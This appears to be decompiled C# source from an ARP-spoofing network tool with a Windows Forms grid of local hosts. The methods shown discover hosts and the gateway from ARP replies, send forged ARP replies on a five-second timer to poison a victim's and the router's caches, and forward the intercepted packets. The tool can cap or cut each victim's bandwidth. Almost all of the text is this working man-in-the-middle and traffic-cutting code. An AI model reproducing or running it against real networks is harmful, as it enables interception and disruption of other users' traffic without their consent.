private void callbackOnNewPC(PC pc) { object[] objArray = new object[1] { (object)pc }; ArpForm arpForm = this; arpForm.Invoke((Delegate) new delegateOnNewPC(arpForm.AddPc), objArray); Dns.BeginResolve(pc.ip.ToString(), new AsyncCallback(this.EndResolvCallBack), pc); }
public void UnSpoof(IPAddress ip1, IPAddress ip2) { PC pCFromIP = pcList.getPCFromIP(ip1.GetAddressBytes()); PC pCFromIP2 = pcList.getPCFromIP(ip2.GetAddressBytes()); if (pCFromIP != null && pCFromIP2 != null) { pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP.mac.GetAddressBytes(), pCFromIP2.mac.GetAddressBytes(), 1, pCFromIP2.mac.GetAddressBytes(), pCFromIP2.ip.GetAddressBytes(), broadcastMac, pCFromIP.ip.GetAddressBytes())); pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP2.mac.GetAddressBytes(), pCFromIP.mac.GetAddressBytes(), 1, pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes(), broadcastMac, pCFromIP2.ip.GetAddressBytes())); } }
private void arpListener() { byte[] pkt_data = null; packet_headers pkt_hdr = null; isListeningArp = true; do { if (pcaparp.pcapnet_next_ex(out pkt_hdr, out pkt_data) == 0) { continue; } byte[] array = new byte[6]; Array.Copy(pkt_data, 6, array, 0, 6); if (tools.areValuesEqual(array, localMAC)) { continue; } byte b = pkt_data[21]; if (b.ToString().CompareTo("2") == 0) { byte[] array2 = new byte[4]; byte[] array3 = new byte[6]; Array.Copy(pkt_data, 22, array3, 0, 6); Array.Copy(pkt_data, 28, array2, 0, 4); PC pC = new PC(); pC.ip = new IPAddress(array2); pC.mac = new PhysicalAddress(array3); pC.capDown = 0; pC.capUp = 0; pC.isLocalPc = false; pC.name = ""; pC.nbPacketReceivedSinceLastReset = 0; pC.nbPacketSentSinceLastReset = 0; pC.redirect = true; DateTime now = DateTime.Now; pC.timeSinceLastRarp = now; pC.totalPacketReceived = 0; pC.totalPacketSent = 0; if (tools.areValuesEqual(array2, routerIP)) { routerMAC = array; pC.isGateway = true; } else { pC.isGateway = false; } pcList.addPcToList(pC); } }while (isListeningArp); arpListenerThreadTerminated.Set(); }
public bool removePcFromList(PC pc) { Monitor.Enter(pclist.SyncRoot); foreach (PC item in pclist) { if (item.ip.ToString().CompareTo(pc.ip.ToString()) == 0) { delOnPCRemove?.Invoke(pc); pclist.Remove(pc); Monitor.Exit(pclist.SyncRoot); return(true); } } Monitor.Exit(pclist.SyncRoot); return(false); }
public void Spoof(IPAddress ip1, IPAddress ip2) { PC pCFromIP = pcList.getPCFromIP(ip1.GetAddressBytes()); PC pCFromIP2 = pcList.getPCFromIP(ip2.GetAddressBytes()); if (pCFromIP != null && pCFromIP2 != null) { byte[] array = localMAC; pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP.mac.GetAddressBytes(), array, 2, array, pCFromIP2.ip.GetAddressBytes(), pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes())); byte[] array2 = localMAC; pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP2.mac.GetAddressBytes(), array2, 2, array2, pCFromIP.ip.GetAddressBytes(), pCFromIP2.mac.GetAddressBytes(), pCFromIP2.ip.GetAddressBytes())); pcaparp.pcapnet_sendpacket(buildArpPacket(localMAC, pCFromIP2.mac.GetAddressBytes(), 2, pCFromIP2.mac.GetAddressBytes(), pCFromIP2.ip.GetAddressBytes(), localMAC, localIP)); byte[] array3 = localMAC; CPcapNet cPcapNet = pcaparp; byte[] array4 = array3; cPcapNet.pcapnet_sendpacket(buildArpPacket(array4, array4, 2, pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes(), localMAC, localIP)); } }
private void callbackOnPCRemove(PC pc) { int index = 1; if (1 >= this.treeGridView1.Nodes[0].Nodes.Count) { return; } while (this.treeGridView1.Nodes[0].Nodes[index].Cells[1].Value.ToString().CompareTo(pc.ip.ToString()) != 0) { ++index; if (index >= this.treeGridView1.Nodes[0].Nodes.Count) { return; } } this.treeGridView1.Nodes[0].Nodes.RemoveAt(index); }
public void completeUnspoof() { PC router = pcList.getRouter(); if (router == null) { return; } int num = 0; if (0 < pcList.pclist.Count) { do { UnSpoof(((PC)pcList.pclist[num]).ip, router.ip); num++; }while (num < pcList.pclist.Count); } }
public bool addPcToList(PC pc) { Monitor.Enter(pclist.SyncRoot); foreach (PC item in pclist) { if (item.ip.ToString().CompareTo(pc.ip.ToString()) == 0) { DateTime now = DateTime.Now; item.timeSinceLastRarp = now; Monitor.Exit(pclist.SyncRoot); return(false); } } ArrayList.Synchronized(pclist).Add(pc); delOnNewPC?.Invoke(pc); Monitor.Exit(pclist.SyncRoot); return(true); }
private void TimerSpoof_Tick(object sender, EventArgs e) { this.timerSpoof.Interval = 5000; int index = 0; if (0 >= this.treeGridView1.Nodes[0].Nodes.Count) { return; } do { if (this.treeGridView1.Nodes[0].Nodes[index].Cells[8].Value.ToString().CompareTo("True") == 0) { PC pcFromIp = this.pcs.getPCFromIP(tools.getIpAddress(this.treeGridView1.Nodes[0].Nodes[index].Cells[1].Value.ToString()).GetAddressBytes()); if (!pcFromIp.isLocalPc) { this.cArp.Spoof(pcFromIp.ip, new IPAddress(this.cArp.routerIP)); } } ++index; }while (index < this.treeGridView1.Nodes[0].Nodes.Count); }
private void EndResolvCallBack(IAsyncResult re) { string str = (string)null; PC asyncState = (PC)re.AsyncState; try { str = Dns.EndResolve(re).HostName; if (str == (string)null) { str = "noname"; } object[] objArray = new object[2]; this.resolvState = objArray; objArray[0] = (object)asyncState; this.resolvState[1] = (object)str; this.Invoke((Delegate) new DelUpdateName(this.updateTreeViewNameCallBack), this.resolvState); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void AddPc(PC pc) { if (pc.isGateway) { this.treeGridView1.Nodes[0].Cells[1].Value = (object)pc.ip.ToString(); this.treeGridView1.Nodes[0].Cells[2].Value = (object)pc.mac.ToString(); this.treeGridView1.Nodes[0].Cells[5].ReadOnly = true; this.treeGridView1.Nodes[0].Cells[6].ReadOnly = true; this.treeGridView1.Nodes[0].Cells[7].ReadOnly = true; this.treeGridView1.Nodes[0].Cells[8].ReadOnly = true; this.treeGridView1.Nodes[0].Cells[5].Value = (object)0; this.treeGridView1.Nodes[0].Cells[6].Value = (object)0; this.treeGridView1.Nodes[0].Cells[7].ReadOnly = true; this.treeGridView1.Nodes[0].Cells[8].ReadOnly = true; } else if (pc.isLocalPc) { TreeGridNode treeGridNode = this.treeGridView1.Nodes[0].Nodes.Add((object)"Your PC", (object)pc.ip, (object)pc.mac.ToString()); treeGridNode.ImageIndex = 0; treeGridNode.Cells[5].Value = (object)0; treeGridNode.Cells[6].Value = (object)0; treeGridNode.Cells[5].ReadOnly = true; treeGridNode.Cells[6].ReadOnly = true; treeGridNode.Cells[7].Value = (object)false; treeGridNode.Cells[8].Value = (object)false; treeGridNode.Cells[7].ReadOnly = true; treeGridNode.Cells[8].ReadOnly = true; } else { TreeGridNode treeGridNode = this.treeGridView1.Nodes[0].Nodes.Add((object)string.Empty, (object)pc.ip, (object)pc.mac.ToString(), (object)string.Empty, (object)string.Empty, (object)0, (object)0, (object)false, (object)true); treeGridNode.ImageIndex = 0; treeGridNode.Cells[5].ReadOnly = false; treeGridNode.Cells[6].ReadOnly = false; } }
private void redirector() { byte[] pkt_data = null; packet_headers pkt_hdr = null; isRedirecting = true; byte[] array = new byte[6]; byte[] array2 = new byte[4]; byte[] array3 = new byte[4]; PC router = pcList.getRouter(); if (router != null) { routerMAC = router.mac.GetAddressBytes(); } if (routerMAC == null) { MessageBox.Show("no router found to redirect packet"); isRedirecting = false; return; } if (isRedirecting) { do { if (pcapredirect.pcapnet_next_ex(out pkt_hdr, out pkt_data) == 0) { continue; } Array.Copy(pkt_data, 6, array, 0, 6); if (tools.areValuesEqual(array, localMAC)) { Array.Copy(pkt_data, 26, array2, 0, 4); if (tools.areValuesEqual(array2, localIP)) { pcList.getLocalPC().nbPacketSentSinceLastReset += (int)pkt_hdr.caplen; } continue; } if (tools.areValuesEqual(array, routerMAC)) { Array.Copy(pkt_data, 30, array3, 0, 4); if (tools.areValuesEqual(array3, localIP)) { pcList.getLocalPC().nbPacketReceivedSinceLastReset += (int)pkt_hdr.caplen; continue; } PC pCFromIP = pcList.getPCFromIP(array3); if (pCFromIP != null) { int capDown = pCFromIP.capDown; if ((capDown == 0 || capDown > pCFromIP.nbPacketReceivedSinceLastReset) && pCFromIP.redirect) { Array.Copy(pCFromIP.mac.GetAddressBytes(), 0, pkt_data, 0, 6); Array.Copy(localMAC, 0, pkt_data, 6, 6); pcapredirect.pcapnet_sendpacket(pkt_data); pCFromIP.nbPacketReceivedSinceLastReset += (int)pkt_hdr.caplen; } } continue; } Array.Copy(pkt_data, 30, array3, 0, 4); if (tools.areValuesEqual(array3, localIP)) { continue; } PC pCFromMac = pcList.getPCFromMac(array); if (pCFromMac != null) { int capUp = pCFromMac.capUp; if ((capUp == 0 || capUp > pCFromMac.nbPacketSentSinceLastReset) && pCFromMac.redirect) { Array.Copy(routerMAC, 0, pkt_data, 0, 6); Array.Copy(localMAC, 0, pkt_data, 6, 6); pcapredirect.pcapnet_sendpacket(pkt_data); pCFromMac.nbPacketSentSinceLastReset += (int)pkt_hdr.caplen; } } }while (isRedirecting); } redirectorThreadTerminated.Set(); }
private void TreeGridView1_CellValueChanged(object sender, DataGridViewCellEventArgs e) { try { if (e.ColumnIndex == 5 && e.RowIndex >= 2) { IPAddress ipAddress = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString()); if (this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) != 0) { PC pcFromIp = this.pcs.getPCFromIP(ipAddress.GetAddressBytes()); if (pcFromIp != null) { Monitor.Enter((object)pcFromIp); pcFromIp.capDown = Convert.ToInt32(this.treeGridView1.Rows[e.RowIndex].Cells[5].Value) * 1024; Monitor.Exit((object)pcFromIp); } } } if (e.ColumnIndex == 6 && e.RowIndex >= 2) { IPAddress ipAddress = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString()); if (this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) != 0) { PC pcFromIp = this.pcs.getPCFromIP(ipAddress.GetAddressBytes()); if (pcFromIp != null) { Monitor.Enter((object)pcFromIp); pcFromIp.capUp = Convert.ToInt32(this.treeGridView1.Rows[e.RowIndex].Cells[6].Value) * 1024; Monitor.Exit((object)pcFromIp); } } } if (e.ColumnIndex == 7 && e.RowIndex >= 2) { IPAddress ipAddress = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString()); if (this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) != 0) { PC pcFromIp = this.pcs.getPCFromIP(ipAddress.GetAddressBytes()); if (pcFromIp != null) { Monitor.Enter((object)pcFromIp); int num = !pcFromIp.redirect ? 1 : 0; pcFromIp.redirect = num != 0; Monitor.Exit((object)pcFromIp); } } } if (e.ColumnIndex != 8 || e.RowIndex < 2 || this.treeGridView1.Rows[e.RowIndex].Cells[0].Value.ToString().CompareTo(string.Empty) == 0) { return; } IPAddress ipAddress1 = tools.getIpAddress(this.treeGridView1.Rows[e.RowIndex].Cells[1].Value.ToString()); if (this.treeGridView1.Rows[e.RowIndex].Cells[8].Value.ToString().CompareTo("False") != 0) { return; } for (int index = 0; index < 35; ++index) { this.cArp.UnSpoof(ipAddress1, new IPAddress(this.cArp.routerIP)); } } catch (Exception ex) { Console.WriteLine(ex.Message); } }